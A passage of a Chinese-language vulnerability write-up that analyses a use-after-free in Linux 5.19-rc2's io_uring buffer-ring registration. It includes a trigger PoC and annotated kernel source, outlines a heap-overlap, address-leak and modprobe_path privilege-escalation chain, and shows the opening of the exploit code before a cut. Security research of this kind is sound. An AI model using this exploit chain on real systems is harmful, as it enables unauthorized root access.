class="keyword">sizeof</span>(p));</span><br><span class="line">    <span class="type">int</span> ring_fd = io_uring_setup(<span class="number">0x1</span>, &amp;p);</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">io_uring_buf_reg</span> <span class="title">reg</span>;</span></span><br><span class="line">    <span class="built_in">memset</span>(&amp;reg, <span class="number">0</span>, <span class="keyword">sizeof</span>(reg));</span><br><span class="line">    reg.ring_addr = <span class="number">0xf00000000</span>;</span><br><span class="line">    reg.ring_entries = <span class="number">0x20000000</span>;</span><br><span class="line"></span><br><span class="line">    io_uring_register(ring_fd, IORING_REGISTER_PBUF_RING, &amp;reg, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="源码分析"><a class="markdownIt-Anchor" href="#源码分析"></a> 源码分析</h2><p>下面研究下<code>io_uring_register(ring_fd, IORING_REGISTER_PBUF_RING, &amp;reg, 1);</code>到底发生了什么</p><p><code>io_uring_register</code>系统调用会调用<code>__io_uring_register()</code>处理, 根据opcode进入<code>io_register_pbuf_ring()</code>处理</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span> __io_uring_register(</span><br><span class="line">    <span class="keyword">struct</span> io_ring_ctx* ctx, <span class="comment">//io_uring上下文</span></span><br><span class="line">    <span class="type">unsigned</span> opcode,    <span class="comment">//操作码</span></span><br><span class="line">    <span class="type">void</span> __user* arg,     <span class="comment">//参数</span></span><br><span class="line">    <span class="type">unsigned</span> nr_args)    <span class="comment">//多少个参数</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> ret;</span><br><span class="line">    ...;</span><br><span class="line">    <span class="keyword">switch</span> (opcode) &#123;</span><br><span class="line">    <span class="keyword">case</span> IORING_REGISTER_PBUF_RING: <span class="comment">//BUG处在这里</span></span><br><span class="line">        ret = -EINVAL;</span><br><span class="line">        <span class="keyword">if</span> (!arg || nr_args != <span class="number">1</span>)    <span class="comment">//只能有一个参数</span></span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        ret = io_register_pbuf_ring(ctx, arg);</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">    ...;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>io_register_pbuf_ring()</code></p><ul><li>首先检查传入的参数, 并在io_uring_context中分配io_buffer_list对象数组<code>ctx-&gt;io_bl</code></li><li>然后根据参数中的缓冲区组ID找到对应的io_buffer_list对象</li><li>然后调用<code>io_pin_pages()</code>尝试根据用户给定的地址和长度分配FOLL_PIN的页,</li><li>如果分配分配失败, 就直接释放掉<code>io_buffer_list</code>对象, 但问题是io_bl指向的不是一个单独的对象, 而是对象数组中的一项, 不能单独释放, 因而造成漏洞</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">io_register_pbuf_ring</span><span class="params">(<span class="keyword">struct</span> io_ring_ctx* ctx, <span class="type">void</span> __user* arg)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">io_uring_buf_ring</span>* <span class="title">br</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">io_uring_buf_reg</span> <span class="title">reg</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">io_buffer_list</span>* <span class="title">bl</span>;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">page</span>** <span class="title">pages</span>;</span></span><br><span class="line">    <span class="type">int</span> nr_pages;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//复制参数</span></span><br><span class="line">    <span class="keyword">if</span> (copy_from_user(&amp;reg, arg, <span class="keyword">sizeof</span>(reg)))</span><br><span class="line">        <span class="keyword">return</span> -EFAULT;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//进行参数检查</span></span><br><span class="line">    <span class="keyword">if</span> (reg.pad || reg.resv[<span class="number">0</span>] || reg.resv[<span class="number">1</span>] || reg.resv[<span class="number">2</span>])</span><br><span class="line">        <span class="keyword">return</span> -EINVAL;</span><br><span class="line">    <span class="keyword">if</span> (!reg.ring_addr)</span><br><span class="line">        <span class="keyword">return</span> -EFAULT;</span><br><span class="line">    <span class="keyword">if</span> (reg.ring_addr &amp; ~PAGE_MASK)</span><br><span class="line">        <span class="keyword">return</span> -EINVAL;</span><br><span class="line">    <span class="keyword">if</span> (!is_power_of_2(reg.ring_entries))</span><br><span class="line">        <span class="keyword">return</span> -EINVAL;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//为io uring context分配io buffer list对象数组</span></span><br><span class="line">    <span class="keyword">if</span> (unlikely(reg.bgid &lt; BGID_ARRAY &amp;&amp; !ctx-&gt;io_bl)) &#123;</span><br><span class="line">        <span class="type">int</span> ret = io_init_bl_list(ctx); <span class="comment">//这里分配了ctx-&gt;io_bl[64]</span></span><br><span class="line">        <span class="keyword">if</span> (ret)</span><br><span class="line">            <span class="keyword">return</span> ret;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//根据提供的buffer group id找到对应的缓冲区链表: return &amp;ctx-&gt;io_bl[bgid];</span></span><br><span class="line">    bl = io_buffer_get_list(ctx, reg.bgid);</span><br><span class="line">    <span class="keyword">if</span> (bl) &#123;</span><br><span class="line">        <span class="comment">//如果映射的缓冲区ring或者类别存在, 不允许</span></span><br><span class="line">        <span class="keyword">if</span> (bl-&gt;buf_nr_pages || !list_empty(&amp;bl-&gt;buf_list))</span><br><span class="line">            <span class="keyword">return</span> -EEXIST;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        ...;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    pages = io_pin_pages(</span><br><span class="line">        reg.ring_addr,  <span class="comment">//用户空间的起始地址</span></span><br><span class="line">        struct_size(br, bufs, reg.ring_entries),    <span class="comment">//分配多长</span></span><br><span class="line">        &amp;nr_pages); <span class="comment">//结果参数: pin_user_pages()分配了多少页</span></span><br><span class="line">    <span class="keyword">if</span> (IS_ERR(pages)) &#123;    <span class="comment">//如果io_pin_pages()出错</span></span><br><span class="line">        <span class="comment">//就释放掉buffer list, 但是bl指向的是对象数组中的一项, 怎么能直接kfree掉呢</span></span><br><span class="line">        <span class="comment">// bl=&amp;ctx-&gt;io_bl[bgid], 如果bgid=0, 这里就释放了整个ctx-&gt;io_bl</span></span><br><span class="line">        <span class="comment">//但是释放之后没有清除ctx-&gt;io_bl, 后续使用就会造成UAF</span></span><br><span class="line">        kfree(bl);  </span><br><span class="line">        <span class="keyword">return</span> PTR_ERR(pages);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    br = page_address(pages[<span class="number">0</span>]);    <span class="comment">//buffer ring所在地址</span></span><br><span class="line"></span><br><span class="line">     <span class="comment">//开始写入bl对象</span></span><br><span class="line">    bl-&gt;buf_pages = pages; <span class="comment">//指向pages对象数组</span></span><br><span class="line">    bl-&gt;buf_nr_pages = nr_pages;    <span class="comment">//包含多少页</span></span><br><span class="line">    bl-&gt;nr_entries = reg.ring_entries;  <span class="comment">//有多少项</span></span><br><span class="line">    bl-&gt;buf_ring = br;  <span class="comment">//指向ring的地址</span></span><br><span class="line">    bl-&gt;mask = reg.ring_entries - <span class="number">1</span>;    <span class="comment">//索引的掩码</span></span><br><span class="line">    io_buffer_add_list(ctx, bl, reg.bgid);  <span class="comment">//设置bl-&gt;bgid=reg.bgid, 并将其添加到ctx的XArray中</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>io_init_bl_list()</code>为ctx-&gt;io_bl分配io_buffer_list对象数组并初始化</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> __cold <span class="type">int</span> <span class="title function_">io_init_bl_list</span><span class="params">(<span class="keyword">struct</span> io_ring_ctx* ctx)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> i;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//指向64个struct io_buffer_list</span></span><br><span class="line">    ctx-&gt;io_bl = kcalloc(BGID_ARRAY, <span class="keyword">sizeof</span>(<span class="keyword">struct</span> io_buffer_list), GFP_KERNEL);</span><br><span class="line">    <span class="keyword">if</span> (!ctx-&gt;io_bl)</span><br><span class="line">        <span class="keyword">return</span> -ENOMEM;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//初始化每一个struct io_buffer_list</span></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; BGID_ARRAY; i++) &#123;</span><br><span class="line">        INIT_LIST_HEAD(&amp;ctx-&gt;io_bl[i].buf_list);    <span class="comment">//缓冲区链表头</span></span><br><span class="line">        ctx-&gt;io_bl[i].bgid = i; <span class="comment">//buffer list的组id</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>正常的是右边的操作, 但是这里是左边的操作. 由于slab会根据<code>bl&amp;(~size的掩码)</code>找到要释放的对象, 因此整个io_bl都会被释放掉, 从而造成后续的UAF漏洞</p><p><img src="image-20220617113919-sz321bk.png" alt="image.png" /></p><p>该漏洞在2022年5月13日在这个<a href="https://github.com/torvalds/linux/commit/c7fb19428d67dd0a2a78a4f237af01d39c78dc5a">commit</a>中引入, 还是十分新的</p><h2 id="漏洞利用"><a class="markdownIt-Anchor" href="#漏洞利用"></a> 漏洞利用</h2><p>由于io_buffer_list的结构与msg_msg结构类似, 因此exp的主要思路就是通过通过UAF的io_buffer_list对象来控制msg_msg, 详细的可以看EXP代码, 其中注释比较详细</p><p>exp思路如下</p><ul><li><p>利用UAF让io_buffer_list与msg_msg重叠, 将其称为msg0, 然后向其中添加一个io_buffer对象, 该对象会被当做消息队列中的另一个msg_msg, 称为msg1, 读出msg1从而泄露kmalloc-2k的地址,</p><ul><li>这里需要注意, 由于msg1并不来自slub, 而是直接从页分配器分配的页, 因此在读出msg1时通过一个循环指针, 让<code>store_msg()</code>在遍历<code>msg-&gt;next</code>时一直循环, 从而避免被释放掉</li></ul></li><li><p>拥有kmalloc-2k的地址后, 结合msg_msg的堆喷射就可以伪造io_buffer_list对象, 利用<code>kvfree(bl-&gt;buf_pages); </code>获取kmalloc-2k上的任意地址free, 然后打出对象重叠</p></li><li><p>堆布局<code>msg0 | msg2 | io_ring_ctx</code>, 其中<code>msg0+0x60~msg2+0x60</code>称为msg3, 就是之前被free的, 释放msg3再申请到就可以控制<code>msg2-&gt;m_ts</code>进行越界读, 读出io_ring_ctx对象就可以泄露内核地址</p></li><li><p>然后重新使用msg3控制msg2, 进行取出msg_msg的<code>list_del()</code>操作进行unlink attack实现任意地址写入8B, 修改modprobe_path完成提权</p></li></ul><p>上述利用过程没法绕过freelist随机化, 并且在复杂堆环境下是十分不稳定的, 并不能作为实际攻击用的exp, 仅作为漏洞演示</p><p>演示视频:</p><div id="dplayer5" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer5"),"loop":"yes","screenshot":"yes","video":{"url":"/linux-5.19-rc2_pbuf_ring_0day/简答的initrd文件系统下进行提权.mp4"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script><h2 id="exp"><a class="markdownIt-Anchor" href="#exp"></a> EXP</h2><p>下面这个exp在内核没有开启freelist随机化的情况下, 使用busybox文件系统在简单的内核环境下可以进行提权</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> _GNU_SOURCE</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;endian.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/io_uring.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;pthread.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdatomic.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/ipc.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/mman.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/msg.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/syscall.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/types.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;sys/xattr.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*------------------------助手定义-----------------------------*/</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">long</span> <span class="type">long</span> uLL;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">long</span> <span class="type">long</span> LL;</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PAGE_SIZE (0x1000)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> LOG(val) printf(<span class="string">&quot;[%s][%s][%d]: %s=0x%llx\n&quot;</span>, __FILE__, __FUNCTION__, __LINE__, #val, (uLL)val)</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">Hexdump</span><span class="params">(<span class="type">char</span>* buf, <span class="type">long</span> size)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; size; i += <span class="number">8</span>)</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;+%02x\t0x%016llx\n&quot;</span>, i, *(uLL*)(buf + i));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//映射可读可写页, 并进行写入, 使其存在</span></span><br><span class="line"><span class="type">void</span>* <span class="title function_">Mmap</span><span class="params">(<span class="type">void</span>* base, <span class="type">size_t</span> len)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> flags = MAP_ANONYMOUS | MAP_PRIVATE;</span><br><span class="line">    <span class="keyword">if</span> (base)</span><br><span class="line">        flags |= MAP_FIXED;</span><br><span class="line"></span><br><span class="line">    <span class="type">void</span>* res = mmap(base, len, PROT_READ | PROT_WRITE, flags, <span class="number">-1</span>, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> ((LL)res == <span class="number">-1</span> || (base &amp;&amp; (res != base))) &#123;</span><br><span class="line">        perror(<span class="string">&quot;Mmap&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">memset</span>(res, <span class="string">&#x27;\x00&#x27;</span>, len);</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// kmalloc(buf, KERNEL); 写入buf; 然后kfree(buf)</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">spray</span><span class="params">(<span class="type">char</span>* buf, <span class="type">long</span> size)</span></span><br><span class="line">&#123;</span><br><span class="line">    setxattr(<span class="string">&quot;/exp&quot;</span>, <span class="string">&quot;XXXXX&quot;</span>, buf, size, XATTR_CREATE);</span><br><span class="line">    perror(<span class="string">&quot;setxattr&quot;</span>);</span><br><span class="line">&#125;</span><br><span 